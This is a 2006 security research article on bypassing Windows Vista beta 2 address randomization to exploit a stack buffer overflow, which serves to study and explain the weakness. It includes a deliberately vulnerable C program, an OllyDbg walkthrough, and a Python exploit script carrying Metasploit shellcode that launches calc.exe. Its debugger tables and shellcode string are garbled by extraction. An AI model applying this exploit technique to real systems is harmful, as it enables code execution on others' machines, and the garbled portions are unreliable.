Stack overflow on Windows Vista

Ali Rahbar <a.rahbar@sysdream.com>



www.sysdream.com

In this article we will analyze the ASLR (Address Space Layout Randomization) that has been added to Windows Vista beta 2 and we will see through an example how it is possible to bypass the ASLR to exploit stack overflows on Windows Vista.

Windows Vista's ASLR

One of the key Improvements of Windows Vista is the addition of ASLR since the Beta 2. Address space layout randomization is activated by default and is aimed to make buffer overflow exploitation more difficult or impossible.

For example in a stack overflow we need to overwrite the return address with the address of our buffer. If the stack is randomized, it means that its address will change and we would not be able to predict its address to create a reliable exploit.

By default all EXEs and DLLs (kernel32.dll, ntdll.dll and user32.dll,...) shipped as part of the operating system are randomized. For other EXEs or DLLs a special flag should be set in the PE header, otherwise only their heap and stack will be randomized. So even if the executable is compiled without the randomization flag, its heap and stack will be randomized.

It is important to know that DLLs marked for randomization will be randomized regardless of whether other binaries in that process have opted-in or not.

On the Beta 2 of Vista the randomization is done on 8 bits. Which means there will be $2^8 = 256$ possible location for a given item (DLL, EXE, ...). The first thing that comes to minds is why Microsoft has used only 8 bits to randomize the address? With only 256 possibilities, in some case it would be feasible to do a brute force.

Exploitation method

We will see through an example how it is possible to exploit programs that are not compiled by the randomization flag on Windows Vista.

We will compile the following program without the /GS flag. /GS exploitation has been covered separately by David Litchfield and Matt Miller and is not the purpose of this article.

```
#include "stdafx.h"
#include <string.h>
void vuln(char * temp);
int main(int argc, char* argv[])
{
 if(argc>1)
   {
   vuln(argv[1]);
     return 0;
   }
}
void vuln(char *temp)
{
  char buf[500];
  strcpy(buf,temp);
}
```

First we lunch the program in Ollydbg to see its memory layout (View->Memory).

000030000 000030000 000030000 Nu Nu	M Memo		Owner	Section	Contains	Tune	Access	Initial	Mapped as
E Executable modules	00010000 00030000 00040000 000275000 000275000 00401000 00401000 00401000 00401000 00400000 00404000 00400000 00400000 000000		buffer1 buffer1 buffer1 buffer1 buffer1 msvort msvort msvort ntdil ntdil ntdil ntdil ntdil ntdil kerne132 kerne132 kerne132 kerne132 kerne132 kerne132 kerne132 kerne132 kerne132	.text .rdata .data .rsrc .text .data .rsrc .reloc .text RI .data .rsrc .reloc .text .data .rsrc .reloc .text .data .rsrc .reloc .text .data .rsrc .reloc .text .data .rsrc .reloc .text .data .rsrc .reloc .text .rsrc .reloc .text .rsrc .reloc .text .rsrc .reloc .text .rsrc .reloc .text .rsrc .reloc .text .rsrc .rsrc .rsrc .reloc .text .rsrc .rsrc .reloc .text .rsrc .rsrc .rsrc .rsrc .rsrc .rsrc .reloc	stack of ma PE header code imports data resources PE header code, import- data resources relocations PE header code, export- code, export- code, import- data resources relocations PE header code, import- data resources relocations PE header code imports, exp data resources relocations		อออามรามมามามามามามามามามามามาม <mark>อ</mark> อมาม <mark>อออามร</mark> ามอ อออ อออ	ჇჇຑჾჾჇჇჇჇჇჇჇჇჇჇჇჇჇჇჇჇჇჇჇჇჇჇჇჇჇჇჇჇჇჇჇ ႽჇႦႹႹႹႹႹႹႹႹႹႹ	
76330000 000A9000 7633A716 msvcrt 7.0.5472.5 (win(C:\Windows\system32\msvcrt.dll 7780000 00117000 ntdl 6.0.5472.5 (win(C:\Windows\system32\ntdl.dll 7796000 000D5000 77987770 kernel32 (6.5472.5 (win(C:\Windows\system32\ntdl.dll 78130000 0009B000 78132329 MSVCR80 8.00.50727.97 C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b	Base Size Entry Name File version Path								
	76330000 77800000 77960000 78130000	000A9000 00117000 000D5000 00098000	7633A716 77987770 78132329	msvort ntdll kernel32 MSVCR80	7.0.5472.5 (6.0.5472.5 (6.0.5472.5 (8.00.50727.9	wini wini wini 97 (C:∖Windov C:\Windov C:\Windov C:\Windov	vs∖syster vs∖syster vs∖syster vs∖WinSx!	m32\msvcrt.dll m32\ntdll.dll m32\kernel32.dll S\x86_microsoft.vc80.crt_1fc8b

The stack starts at 0x00276000. You can also see the address of each of the DLLs that are loaded by the program in View->Executable module.

Now we will restart Windows (to change the address of DLLs) and take another snapshot of the memory layout of our program:

Padmess Size Owner Section Contains Type Poccess Initial Happed as 00010000 00001000 Namped Namp	Memo	ory map							
000100000 00030000 00030000 Nu Nu Nu 00030000 00030000 00030000 Nu Nu Nu Nu 00030000 00001000 00001000 buffer1 .text Ft Nu Ru Ru 00040000 00001000 buffer1 .text code resources Imag R Ru 00040000 00001000 buffer1 .text code resources Imag R Ru 00040000 00001000 buffer1 .text code Imag R Ru 00040000 00001000 buffer1 .text code Imag R Ru 00040000 00001000 buffer1 .text code Imag R Ru 759700000 00001000 buffer1 .text code Imag R Ru 75970000 00001000 buffer1 .text code Imag R Ru 75970000 00001000 buffer1 .text cocat imag R Ru	Address	Size	Owner	Section	Contains	Туре	Access	Initial	Mapped as
Base Size Entry Name File version Path	00010000 00040000 00040000 00070000 0002C5000 002C5000 002C5000 002C5000 0040000 00402000 00402000 00402000 00402000 00402000 00402000 00402000 00402000 00402000 00402000 0040000 0040000 00410000 75970000 75900000 75900000 759000000 7590000000000		buffer1 buffer1 buffer1 buffer1 msvort msvort msvort kerne132 kerne132 kerne132 kerne132 kerne132 kerne132 kerne131 ntdil ntdil ntdil ntdil ntdil ntdil ntdil mtdi	.text .rdata .data .rsrc .text .data .rsrc .reloc .text .data .rsrc .reloc .text RT .data .rsrc .reloc .text .reloc .text .reloc .text .rsrc .reloc .text .rsrc .reloc .text .rsrc .reloc	stack of ma PE header code imports data resources PE header code, import data resources relocations PE header code, import data resources relocations PE header code, export code data resources relocations PE header code imports, exp data resources relocations	Map Map Map Privyyaggggg Privyyaggggggggggggggggggggggggggggggggggg	22777777777777777777777777777777777777	22.7 72.22.22.22.22.22.22.22.22.22.22.22.22.2	
00400000 00005000 00401209 bufferi 75970000 00005000 75057700 msvort 7.0.5472.5 (wint C:\Windows\system32\kernel32.dll 756540000 00095000 75057770 kernel32 6.0.5472.5 (wint C:\Windows\system32\kernel32.dll 76640000 00095000 78132329 MSUCR80 8.00.50727.97 C:\Windows\System32\kernel32.htdll.dll 78130000 00098000 78132329 MSUCR80 8.00.50727.97 C:\Windows\System32\kernel32.htdll.dll	Base Size Entry Name File version Path								
	75970000 75D30000 76E40000	000A9000 000D5000 00117000	7597A716 75D57770	msvort kernel32 ntdll	7.0.5472.5 6.0.5472.5 6.0.5472.5 8.00.50727.	(win) (win) (win) 97	C:\Users C:\Windo C:\Windo C:\Windo C:\Windo	\test\Do ws\syste ws\syste ws\syste ws\WinSx:	cuments\Visual Studio 2005\Pro m32\msvcrt.dll m32\kernel32.dll m32\ntdll.dll S\x86_microsoft.vc80.crt_1fc8b

In this snapshot the stack starts at 0x002C6000. The address of the stack has changed. It's the third byte of the address that is randomized. As you see in the two snapshots all the loaded modules are randomized except the executable itself. We will do a return into the executable itself to redirect the execution to the buffer on the stack.

Set five A as arguments (Debug->Arguments) and restart (Debug->Restart) the program. Click on "View executable modules" from the View menu, Right-click on buffer1 and chose View names. Right click on "MSVRC80.strcpy" in the list, chose View call tree and put a breakpoint on the only call to strcpy. Click on F9 to continue the execution. The program will break on the call to strcpy.

🔆 OllyDbg - buffer1.exe - [CPU - main thread, module buffer1]							
🗌 File View Debug Plugins Options Window Help							
	/ K B R S ☷ ☷ ?						
00401730 00401731 00401731 00401732 00401739 00401739 00401739 00401739 00401739 00401745 00401745 00401745 00401745 00401745 00401745 00401745 00401745 00401745 00401745 00401745 00401745 00401745 00401745 00401745 00401745 00401750 00401751 00401751 00401752 00401755	EDF 001/FFEB0 EDI 0004003078 EDI 00403378 FIP 00401744 U EIP 00401744 buffer1.00401744 C ES 0023 32bit 01 C 023 32bit 01 C 023 32bit 03 C 043 S2bit 05 0000 06 0000 07 C 08 C 09 Letter 09 Letter						
buffer1.cpp:20. strcpy(buf,temp); Address Value ASCI Comment 0040307C 00000000 00433820 00000000	ST6 empti 0 0 001AFCC8 001AFCC8 001AFCC0 001AFCC0 001AFCC0 001AFCC0 001AFC0 001AFC0 001AFC0 001AFC0 001AFC0						

By giving a long string to strcpy we will be able to overwrite the return address of the vuln() function. The RET at 0x0040174F is associated to the return address that we can overwrite. Put a breakpoint (F2) on it and execute the program (F9). Look at the stack and all registers.

🔆 OllyDbg - buffer1.exe - [CPU - main thread, module buffer1]						
File View Debug Plugins Options Window Help						
	I C / K B R S 🗄 🎇 ?					
00401730 \$ 55 PUSH EBP 00401731 .8BEC MOV EBP,ESP 00401733 .81EC F8010000 SUB ESP,1F8 00401739 .8845 08 MOV EAX,DUORD PTR SS:[EBP+8] 00401730 .8045 08 PUSH EAX 00401730 .8080 08FEFFFF LEA ECX,DWORD PTR SS:[EBP-1F8] 00401743 .51 PUSH ECX 00401744 .68 B7F8FFF CALL buffer1strcpy 00401749 .83C4 08 ADD ESP,8 00401742 .50 POY EBP	<pre>src dest strcpy EX 001AFCC0 ASCII "AAAAAA" ECX 004E0F6C EDX ABAB0041 EBX 00000000 ESP 001AFEBC EBP 001AFEBC EBP 001AFEC4 ESI 00000001 EDI 00400378 OFFSET buffer1nati EIP 0040174F buffer1.0040174F</pre>					
COMPONENTIAL L. C3 RETN 00401751 & \$55 PUSH EBP 00401751 . 88EC MOV EBP,ESP 00401753 . 837D 08 01 CMP DWORD PTR SS:[EBP+8],1 00401757 . 7E 13 JLE SHORT buffer1.0040176C 00401759 . 8845 0C MOV EAX,DWORD PTR SS:[EBP+C] 00401759 . 8845 0C MOV EAX,DWORD PTR DS:[EAX+4] 00401759 . 8848 04 MOV ECX,DWORD PTR DS:[EAX+4] 00401765 . 8108 FFFFFF CALL buffer1.vuln 00401766 . 8304 04 ADD ESP,4 00401768 . 3300 XOR EAX,EAX 00401768 . VEB 06 JMP SHORT buffer1.00401772 00401760 >EB 02 JMP SHORT buffer1.00401770	C 0 ES 0023 32bit 0(FFFFFFF) P 1 CS 001B 32bit 0(FFFFFFF) A 1 SS 0023 32bit 0(FFFFFFFF) Z 0 DS 0023 32bit 0(FFFFFFFF) S 0 FS 003B 32bit 0(FFFFFFFF) S 0 FS 003B 32bit 0(FFFFFFFF) T 0 GS 0000 NULL D 0 0 0 LastErr ERROR_SUCCESS (000000 EFL 00000216 (N0,NB,NE,A,NS,PE,GE, ST0 empty 0.0 ST1 empty 0.0					
Return to 00401765 (buffer1.00401765)	ST2 empty 0.0 ST3 empty 0.0 ST4 empty 0.0 ST5 empty 0.0 ST5 empty 0.0					
Address Value ASCI Comment 0040307C 00000000 0040307C 00000000	▲ 001AFEBC 00401765 RETURN to buffe 001AFEC0 00AE0F64 ASCII "AAAAA" 001AFEC4 € 001AFF08					

As you can see the EAX register points to the beginning of our buffer. EBP is pointing to 4 bytes after the return address on the stack. And finally the address of our string on the heap is stored just after the return address on the stack. So if we find a JMP EAX, a CALL EAX or PUSH EAX, RET in the program (which is not randomized) we can use its address as a return address to redirect the execution to it and after it is executed the execution will be redirected to our buffer. So we have redirected the execution to our buffer without knowing its address. Another way is to place for example a JMP – 1000 four bytes after the return address and find a JMP EBP or CALL EBP or something that redirects the execution to EBP in the executable (buffer1) and use it as return address. By this way the execution will be redirected to the buffer without the knowledge of its address.

If you look at the stack, the address of the string on the heap is stored just after the return address. So by using the address of a RET in the executable (buffer1) as the return address we will be able to redirect execution to our string on the heap.

We will use the latest method to exploit this stack overflow. I have used a RET at 0x00401773 in buffer1. The shellcode for this exploit has been generated by Metasploit and it simply executes calc.exe.

import os
import sys
program ='buffer1.exe'
arguments=".join([

```
\label{eq:x2} x2b xc9 x83 xe9 xdd xd9 xee xd9 x74 x24 xf4 x5b x81 x73 x13 x5d', \x6d xbe x37 x83 xeb xfc xe2 xf4 xa1 x85 xfa x37 x5d x6d x35 x72', \x6d xc2 x32 x25 x6c x51 xbc x12 x75 x35 x68 x7d x6c x55 x7e', \xd6 x59 x35 x36 xb3 x5c x7e xae xf1 xe9 x7e x43 x5a xac x74 x3a', \x5c xaf x55 xc3 x66 x39 x9a x33 x28 x88 x35 x68 x79 x6c x55 x51', \xd6 x61 xf5 xbc x02 x71 xbf xdc xd6 x71 x35 x36 xb6 xe4 xe2 x13', \x59 xae x8f xf7 x39 xe6 xfe x07 xd8 xad xc6 x3b xd6 x2d xb2 xbc', \x2d x71 x13 xbc x35 x65 x55 x3e xd6 xed x0e x37 x5d x6d x35 x5f', \x61 x32 x8f xc1 x3d x3b x37 xcf xde xad xc5 x67 x35 x13 xd6 xd5', \x2e x05 x26 xc9 xd7 x63 xe9 xc8 xba x0e xdf x5b x3e x43 xdb x4f', \x38 x6d xbe x37 + 344 *' x90 + 'x73' +'x17' +'x40']) os.execl(program, program, arguments)
```

07/08/2006

Ali Rahbar

a.rahbar@sysdream.com